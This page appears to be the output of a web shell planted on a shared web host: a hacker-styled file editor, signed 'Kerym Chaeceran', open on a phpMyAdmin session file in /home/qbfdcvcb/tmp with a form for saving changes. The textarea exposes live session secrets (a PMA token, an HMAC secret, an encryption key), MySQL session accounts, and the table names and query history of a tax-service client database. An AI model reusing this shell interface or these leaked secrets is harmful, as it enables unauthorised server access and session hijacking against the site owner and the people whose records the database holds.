

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: sess_8f9f7f95fee2c5d588ca52403acffffb</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'> PMA_token |s:32:&quot;482938522349725e3d5e5b3b2a21456c&quot;; HMAC_secret |s:16:&quot;3M&amp;?;zWV\SG,o9.2&quot;;auth_type|s:3:&quot;env&quot;;browser_access_time|a:3:{s:7:&quot;default&quot;;i:1747069766;s:36:&quot;e3dd1972-68ad-a6e6-9036-082c15dbc657&quot;;i:1747066814;s:36:&quot;d75f5346-d750-7c34-7cb0-dd5132cac196&quot;;i:1747069397;}encryption_key|s:32:&quot; ψ��A#k�D֔F`n�i&quot;j{�Ay����kϮ&quot;;relation|a:1:{i:1;a:41:{s:7:&quot;version&quot;;s:5:&quot;5.2.2&quot;;s:4:&quot;user&quot;;N;s:2:&quot;db&quot;;N;s:8:&quot;bookmark&quot;;N;s:15:&quot;central_columns&quot;;N;s:11:&quot;column_info&quot;;N;s:17:&quot;designer_settings&quot;;N;s:16:&quot;export_templates&quot;;N;s:8:&quot;favorite&quot;;N;s:7:&quot;history&quot;;N;s:16:&quot;navigationhiding&quot;;N;s:9:&quot;pdf_pages&quot;;N;s:6:&quot;recent&quot;;N;s:8:&quot;relation&quot;;N;s:13:&quot;savedsearches&quot;;N;s:12:&quot;table_coords&quot;;N;s:10:&quot;table_info&quot;;N;s:13:&quot;table_uiprefs&quot;;N;s:8:&quot;tracking&quot;;N;s:10:&quot;userconfig&quot;;N;s:10:&quot;usergroups&quot;;N;s:5:&quot;users&quot;;N;s:12:&quot;bookmarkwork&quot;;b:0;s:8:&quot;mimework&quot;;b:0;s:18:&quot;centralcolumnswork&quot;;b:0;s:8:&quot;commwork&quot;;b:0;s:9:&quot;menuswork&quot;;b:0;s:20:&quot;designersettingswork&quot;;b:0;s:11:&quot;displaywork&quot;;b:0;s:19:&quot;exporttemplateswork&quot;;b:0;s:12:&quot;favoritework&quot;;b:0;s:7:&quot;navwork&quot;;b:0;s:7:&quot;pdfwork&quot;;b:0;s:10:&quot;recentwork&quot;;b:0;s:7:&quot;relwork&quot;;b:0;s:17:&quot;savedsearcheswork&quot;;b:0;s:11:&quot;historywork&quot;;b:0;s:12:&quot;trackingwork&quot;;b:0;s:11:&quot;uiprefswork&quot;;b:0;s:14:&quot;userconfigwork&quot;;b:0;s:8:&quot;allworks&quot;;b:0;}}userconfig|a:2:{s:2:&quot;db&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:12:&quot;Console/Mode&quot;;s:8:&quot;collapse&quot;;}s:2:&quot;ts&quot;;i:1747069668;}two_factor_check|b:1;cache|a:3:{s:8:&quot;server_1&quot;;a:4:{s:15:&quot;userprefs_mtime&quot;;i:1747069668;s:14:&quot;userprefs_type&quot;;s:7:&quot;session&quot;;s:12:&quot;config_mtime&quot;;i:1742151910;s:9:&quot;userprefs&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}}}s:25:&quot;server_1_cpses_qbgcdtj6ua&quot;;a:15:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:2:{i:0;s:15:&quot;qbfdcvcb\_teats&quot;;i:1;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:12:&quot;is_superuser&quot;;b:0;s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qbgcdtj6ua@localhost&quot;;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}s:25:&quot;server_1_cpses_qb0ga5iqbi&quot;;a:18:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:2:{i:0;s:15:&quot;qbfdcvcb\_teats&quot;;i:1;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:19:&quot;profiling_supported&quot;;b:1;s:17:&quot;menu-levels-table&quot;;a:11:{s:6:&quot;browse&quot;;s:6:&quot;Browse&quot;;s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:6:&quot;insert&quot;;s:6:&quot;Insert&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;}s:12:&quot;is_superuser&quot;;b:0;s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qb0ga5iqbi@localhost&quot;;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}}tmpval|a:16:{s:14:&quot;favoriteTables&quot;;a:1:{i:1;a:0:{}}s:12:&quot;recentTables&quot;;a:1:{i:1;a:10:{i:0;a:2:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;archived_targets&quot;;}i:1;a:2:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;employee_targets&quot;;}i:2;a:2:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;}i:3;a:2:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:9:&quot;employees&quot;;}i:4;a:2:{s:2:&quot;db&quot;;s:18:&quot;INFORMATION_SCHEMA&quot;;s:5:&quot;table&quot;;s:16:&quot;KEY_COLUMN_USAGE&quot;;}i:5;a:2:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:9:&quot;tax_years&quot;;}i:6;a:2:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:8:&quot;payments&quot;;}i:7;a:2:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:8:&quot;invoices&quot;;}i:8;a:2:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:14:&quot;lead_callbacks&quot;;}i:9;a:2:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:10:&quot;lead_notes&quot;;}}}s:18:&quot;table_limit_offset&quot;;i:0;s:21:&quot;table_limit_offset_db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:13:&quot;table_uiprefs&quot;;a:1:{i:1;a:2:{s:21:&quot;qbfdcvcb_securetax_db&quot;;a:12:{s:14:&quot;caller_targets&quot;;a:0:{}s:16:&quot;employee_targets&quot;;a:0:{}s:9:&quot;tax_years&quot;;a:0:{}s:9:&quot;employees&quot;;a:0:{}s:5:&quot;leads&quot;;a:0:{}s:5:&quot;teams&quot;;a:0:{}s:10:&quot;lead_notes&quot;;a:0:{}s:14:&quot;lead_callbacks&quot;;a:0:{}s:8:&quot;invoices&quot;;a:0:{}s:8:&quot;payments&quot;;a:0:{}s:16:&quot;archived_targets&quot;;a:0:{}s:5:&quot;users&quot;;a:0:{}}s:18:&quot;INFORMATION_SCHEMA&quot;;a:1:{s:16:&quot;KEY_COLUMN_USAGE&quot;;a:0:{}}}}s:5:&quot;query&quot;;a:10:{s:32:&quot;51437cd3259e0894e2e3d50826c64446&quot;;a:8:{s:3:&quot;sql&quot;;s:670:&quot;CREATE TRIGGER `archive_target_on_payment`
AFTER UPDATE ON `invoices`
FOR EACH ROW
BEGIN
    IF NEW.status = &#039;paid&#039; AND OLD.status != &#039;paid&#039; THEN
        INSERT INTO `archived_targets` (`employee_id`, `client_id`, `invoice_id`, `tax_year_id`)
        SELECT c.assigned_caller, c.id, NEW.id, c.tax_year_id
        FROM clients c
        WHERE c.id = NEW.client_id
        AND c.assigned_caller IS NOT NULL
        AND EXISTS (
            SELECT 1 FROM employees e
            JOIN users u ON e.user_id = u.id
            WHERE e.id = c.assigned_caller
            AND (e.designation = &#039;caller&#039; OR u.user_type = &#039;team_leader&#039;)
        );
    END IF;
END;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;8952c45e9da5a8c59db199e41ba39f74&quot;;a:8:{s:3:&quot;sql&quot;;s:196:&quot;SELECT CONSTRAINT_NAME, COLUMN_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME
FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE
WHERE TABLE_NAME = &#039;employee_targets&#039; AND CONSTRAINT_NAME LIKE &#039;fk_%&#039;;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;868f8782e4fc224ce5c6840c42a6a763&quot;;a:8:{s:3:&quot;sql&quot;;s:78:&quot;ALTER TABLE employee_targets DROP FOREIGN KEY fk_employee_targets_fiscal_year;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;1e587161037c36ab94f165e5063548c0&quot;;a:8:{s:3:&quot;sql&quot;;s:144:&quot;ALTER TABLE employee_targets ADD CONSTRAINT fk_employee_targets_tax_year
FOREIGN KEY (tax_year_id) REFERENCES tax_years (id) ON DELETE CASCADE;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;7846bc3303b3cabe64ce5578c0a0d33a&quot;;a:8:{s:3:&quot;sql&quot;;s:80:&quot;ALTER TABLE employee_targets CHANGE fiscal_year_id tax_year_id INT(11) NOT NULL;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;8e285c3c86f5903c960190b4e1ba1560&quot;;a:8:{s:3:&quot;sql&quot;;s:80:&quot;ALTER TABLE archived_targets CHANGE fiscal_year_id tax_year_id INT(11) NOT NULL;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;59c703186a553d3ec2ce694130faa2bb&quot;;a:8:{s:3:&quot;sql&quot;;s:25:&quot;SELECT * FROM `employees`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;d4d76956f64bbe5ab5f87ff0443984e0&quot;;a:8:{s:3:&quot;sql&quot;;s:21:&quot;SELECT * FROM `users`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:500;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;47de2a87f10c89d02f2111c97f1e9280&quot;;a:8:{s:3:&quot;sql&quot;;s:32:&quot;SELECT * FROM `employee_targets`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;1a630c476081569a089e616542bba4e7&quot;;a:8:{s:3:&quot;sql&quot;;s:32:&quot;SELECT * FROM `archived_targets`&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}}s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;s:12:&quot;display_blob&quot;;b:0;s:19:&quot;hide_transformation&quot;;b:0;s:3:&quot;pos&quot;;i:0;s:8:&quot;max_rows&quot;;i:25;s:12:&quot;repeat_cells&quot;;i:100;s:20:&quot;possible_as_geometry&quot;;b:1;}git_location|N;is_git_revision|b:0;ConfigFile1|a:4:{s:28:&quot;PmaNoRelation_DisableWarning&quot;;b:1;s:12:&quot;ShowCreateDb&quot;;b:0;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}s:7:&quot;Servers&quot;;a:1:{i:1;a:2:{s:7:&quot;only_db&quot;;s:0:&quot;&quot;;s:7:&quot;hide_db&quot;;s:0:&quot;&quot;;}}}debug|a:0:{}flashMessages|a:0:{}is_multi_query|b:0;sql_history|a:25:{i:0;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:5:&quot;leads&quot;;s:8:&quot;sqlquery&quot;;s:21:&quot;SELECT * FROM `leads`&quot;;}i:1;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;employee_targets&quot;;s:8:&quot;sqlquery&quot;;s:32:&quot;SELECT * FROM `employee_targets`&quot;;}i:2;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:5:&quot;teams&quot;;s:8:&quot;sqlquery&quot;;s:21:&quot;SELECT * FROM `teams`&quot;;}i:3;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:10:&quot;lead_notes&quot;;s:8:&quot;sqlquery&quot;;s:26:&quot;SELECT * FROM `lead_notes`&quot;;}i:4;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:14:&quot;lead_callbacks&quot;;s:8:&quot;sqlquery&quot;;s:30:&quot;SELECT * FROM `lead_callbacks`&quot;;}i:5;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:8:&quot;invoices&quot;;s:8:&quot;sqlquery&quot;;s:24:&quot;SELECT * FROM `invoices`&quot;;}i:6;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:8:&quot;payments&quot;;s:8:&quot;sqlquery&quot;;s:24:&quot;SELECT * FROM `payments`&quot;;}i:7;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:26:&quot;DESCRIBE employee_targets;&quot;;}i:8;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;archived_targets&quot;;s:8:&quot;sqlquery&quot;;s:32:&quot;SELECT * FROM `archived_targets`&quot;;}i:9;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:9:&quot;tax_years&quot;;s:8:&quot;sqlquery&quot;;s:25:&quot;SELECT * FROM `tax_years`&quot;;}i:10;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:670:&quot;CREATE TRIGGER `archive_target_on_payment`
AFTER UPDATE ON `invoices`
FOR EACH ROW
BEGIN
    IF NEW.status = &#039;paid&#039; AND OLD.status != &#039;paid&#039; THEN
        INSERT INTO `archived_targets` (`employee_id`, `client_id`, `invoice_id`, `tax_year_id`)
        SELECT c.assigned_caller, c.id, NEW.id, c.tax_year_id
        FROM clients c
        WHERE c.id = NEW.client_id
        AND c.assigned_caller IS NOT NULL
        AND EXISTS (
            SELECT 1 FROM employees e
            JOIN users u ON e.user_id = u.id
            WHERE e.id = c.assigned_caller
            AND (e.designation = &#039;caller&#039; OR u.user_type = &#039;team_leader&#039;)
        );
    END IF;
END;&quot;;}i:11;a:3:{s:2:&quot;db&quot;;s:18:&quot;INFORMATION_SCHEMA&quot;;s:5:&quot;table&quot;;s:16:&quot;KEY_COLUMN_USAGE&quot;;s:8:&quot;sqlquery&quot;;s:196:&quot;SELECT CONSTRAINT_NAME, COLUMN_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME
FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE
WHERE TABLE_NAME = &#039;employee_targets&#039; AND CONSTRAINT_NAME LIKE &#039;fk_%&#039;;&quot;;}i:12;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;employee_targets&quot;;s:8:&quot;sqlquery&quot;;s:32:&quot;SELECT * FROM `employee_targets`&quot;;}i:13;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;employee_targets&quot;;s:8:&quot;sqlquery&quot;;s:80:&quot;ALTER TABLE archived_targets CHANGE fiscal_year_id tax_year_id INT(11) NOT NULL;&quot;;}i:14;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;employee_targets&quot;;s:8:&quot;sqlquery&quot;;s:32:&quot;SELECT * FROM `employee_targets`&quot;;}i:15;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;archived_targets&quot;;s:8:&quot;sqlquery&quot;;s:32:&quot;SELECT * FROM `archived_targets`&quot;;}i:16;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:9:&quot;employees&quot;;s:8:&quot;sqlquery&quot;;s:25:&quot;SELECT * FROM `employees`&quot;;}i:17;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:9:&quot;employees&quot;;s:8:&quot;sqlquery&quot;;s:25:&quot;SELECT * FROM `employees`&quot;;}i:18;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:21:&quot;SELECT * FROM `users`&quot;;}i:19;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:5:&quot;users&quot;;s:8:&quot;sqlquery&quot;;s:21:&quot;SELECT * FROM `users`&quot;;}i:20;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;archived_targets&quot;;s:8:&quot;sqlquery&quot;;s:32:&quot;SELECT * FROM `archived_targets`&quot;;}i:21;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;employee_targets&quot;;s:8:&quot;sqlquery&quot;;s:32:&quot;SELECT * FROM `employee_targets`&quot;;}i:22;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;archived_targets&quot;;s:8:&quot;sqlquery&quot;;s:32:&quot;SELECT * FROM `archived_targets`&quot;;}i:23;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;employee_targets&quot;;s:8:&quot;sqlquery&quot;;s:32:&quot;SELECT * FROM `employee_targets`&quot;;}i:24;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:16:&quot;archived_targets&quot;;s:8:&quot;sqlquery&quot;;s:32:&quot;SELECT * FROM `archived_targets`&quot;;}}Import_message|a:2:{s:7:&quot;message&quot;;N;s:11:&quot;go_back_url&quot;;s:80:&quot;index.php?route=/table/structure&amp;db=qbfdcvcb_securetax_db&amp;table=employee_targets&quot;;}errors|a:0:{}</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/tmp/sess_8f9f7f95fee2c5d588ca52403acffffb'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Ftmp' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>